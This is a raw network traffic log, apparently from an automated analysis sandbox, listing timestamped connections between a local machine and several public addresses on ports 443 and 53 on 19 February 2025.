Feb 19, 2025 20:43:21.963900089 CET	443	49715	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:21.963972092 CET	49715	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:21.964312077 CET	49715	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:21.964329004 CET	443	49715	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:21.964643002 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:21.964688063 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:21.964773893 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:21.965003014 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:21.965018988 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:21.965123892 CET	53	49713	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:21.965162039 CET	53	49713	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:22.008223057 CET	53	49713	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:22.315598965 CET	53	49713	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:22.315654993 CET	49713	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:22.429157019 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.429579973 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.429605007 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.430608988 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.430672884 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.431030989 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.431090117 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.431200027 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.431205988 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.441029072 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.441265106 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.441293955 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.441828966 CET	443	49715	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:22.442037106 CET	49715	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:22.442065954 CET	443	49715	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:22.443080902 CET	443	49715	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:22.443156004 CET	49715	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:22.444279909 CET	49715	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:22.444353104 CET	443	49715	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:22.444441080 CET	49715	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:22.444451094 CET	443	49715	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:22.445488930 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.445557117 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.447278976 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.447382927 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.447433949 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.447443008 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.475769043 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.491765022 CET	49715	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:22.491975069 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.545145988 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.561465025 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.561491013 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.561532021 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.561539888 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.561578035 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.561582088 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.561595917 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.561635971 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.573196888 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.573242903 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.573272943 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.573297024 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.573317051 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.573349953 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.573353052 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.573360920 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.573414087 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.573417902 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.573941946 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.573970079 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.573981047 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.573985100 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.574017048 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.574325085 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.578119040 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.578186989 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.578191042 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.590219975 CET	443	49715	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:22.590301991 CET	443	49715	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:22.590369940 CET	49715	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:22.590708017 CET	49715	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:22.590733051 CET	443	49715	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:22.590747118 CET	49715	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:22.590774059 CET	49715	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:22.592355967 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:22.592386961 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:22.592454910 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:22.592722893 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:22.592736959 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:22.619750023 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.637574911 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.637602091 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.637692928 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.637706041 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.637774944 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.638956070 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.638983965 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.639023066 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.639029026 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.639094114 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.661926031 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.662005901 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.662044048 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.662056923 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.662072897 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.662122011 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.662127018 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.662625074 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.662659883 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.662687063 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.662691116 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.662734985 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.662744045 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.662748098 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.662796974 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.662801027 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.663544893 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.663587093 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.663616896 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.663618088 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.663628101 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.663667917 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.663686991 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.663714886 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.663742065 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.663746119 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.663789988 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.664499044 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.664552927 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.664582014 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.664629936 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.664633989 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.664735079 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.704760075 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.704816103 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.704929113 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.704982042 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.705085039 CET	49716	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.705097914 CET	443	49716	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.707461119 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.707499027 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.707686901 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.707910061 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:22.707921028 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:22.727039099 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.727063894 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.727123976 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.727150917 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.727166891 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.727194071 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.728831053 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.728848934 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.728899956 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.728913069 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.728920937 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.728966951 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.728974104 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.728991032 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.729034901 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.729147911 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.729160070 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:22.729171038 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.729197025 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:22.739326954 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:22.739348888 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:22.739422083 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:22.739603043 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:22.739614010 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:22.809761047 CET	49673	443	192.168.2.16	204.79.197.203
Feb 19, 2025 20:43:23.055258036 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.055639982 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.055669069 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.056076050 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.056366920 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.056458950 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.056507111 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.096770048 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.096797943 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.192794085 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.193073034 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.193094969 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.193553925 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.193928003 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.194016933 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.194155931 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.196132898 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.196177006 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.196207047 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.196218967 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.196247101 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.196290970 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.196293116 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.196300983 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.196342945 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.196347952 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.196376085 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.196403980 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.196417093 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.196420908 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.196468115 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.203083992 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.211055994 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.211266041 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.211276054 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.212246895 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.212312937 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.212807894 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.212865114 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.212966919 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.219681025 CET	49722	443	192.168.2.16	142.250.181.228
Feb 19, 2025 20:43:23.219707012 CET	443	49722	142.250.181.228	192.168.2.16
Feb 19, 2025 20:43:23.219816923 CET	49722	443	192.168.2.16	142.250.181.228
Feb 19, 2025 20:43:23.220091105 CET	49722	443	192.168.2.16	142.250.181.228
Feb 19, 2025 20:43:23.220120907 CET	443	49722	142.250.181.228	192.168.2.16
Feb 19, 2025 20:43:23.239339113 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.255748987 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.255764008 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.255774975 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.255783081 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.284794092 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.284826040 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.284856081 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.284857988 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.284868956 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.284899950 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.285027981 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.285074949 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.285080910 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.285434961 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.285460949 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.285473108 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.285476923 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.285522938 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.285974026 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.286011934 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.286036968 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.286065102 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.286065102 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.286072969 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.286115885 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.286910057 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.286943913 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.286955118 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.286958933 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.287007093 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.287013054 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.287022114 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.287064075 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.287067890 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.287708044 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.287731886 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.287754059 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.287781954 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.287787914 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.287813902 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.288582087 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.288645029 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.288861990 CET	49719	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.288877010 CET	443	49719	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.299798965 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.299841881 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.300153971 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.300327063 CET	49723	443	192.168.2.16	104.18.95.41
Feb 19, 2025 20:43:23.300345898 CET	443	49723	104.18.95.41	192.168.2.16
Feb 19, 2025 20:43:23.303762913 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.312350035 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.313167095 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.313231945 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.313240051 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.313260078 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.313364983 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.313406944 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.313419104 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.313488960 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.320532084 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.320626974 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.320664883 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.320682049 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.320692062 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.320729017 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.320753098 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.320758104 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.320800066 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.328411102 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.340337992 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.340432882 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.340465069 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.340471983 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.340503931 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.340537071 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.340589046 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.340598106 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.340635061 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.340966940 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.341185093 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.341234922 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.341243029 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.345532894 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.345590115 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.345606089 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.345614910 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.345694065 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.345700979 CET	443	49720	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:23.375943899 CET	49724	443	192.168.2.16	104.16.5.189
Feb 19, 2025 20:43:23.375974894 CET	443	49724	104.16.5.189	192.168.2.16
Feb 19, 2025 20:43:23.376056910 CET	49724	443	192.168.2.16	104.16.5.189
Feb 19, 2025 20:43:23.376276016 CET	49724	443	192.168.2.16	104.16.5.189
Feb 19, 2025 20:43:23.376286983 CET	443	49724	104.16.5.189	192.168.2.16
Feb 19, 2025 20:43:23.383754015 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.399760962 CET	49720	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:23.401784897 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.401845932 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.401876926 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.401926041 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.401953936 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.402002096 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.402268887 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.402719021 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.402761936 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.402771950 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.402806997 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.402837038 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.402858973 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.402864933 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.402901888 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.402906895 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.403585911 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.403633118 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.403641939 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.409816027 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.409862041 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.409872055 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.409888029 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.409936905 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.409938097 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.409948111 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.409976006 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.409981012 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.410053968 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.410089970 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.410094976 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.410128117 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.410191059 CET	49721	443	192.168.2.16	151.101.130.137
Feb 19, 2025 20:43:23.410196066 CET	443	49721	151.101.130.137	192.168.2.16
Feb 19, 2025 20:43:23.431009054 CET	443	49720	104.17.24.14	192.168.2.16
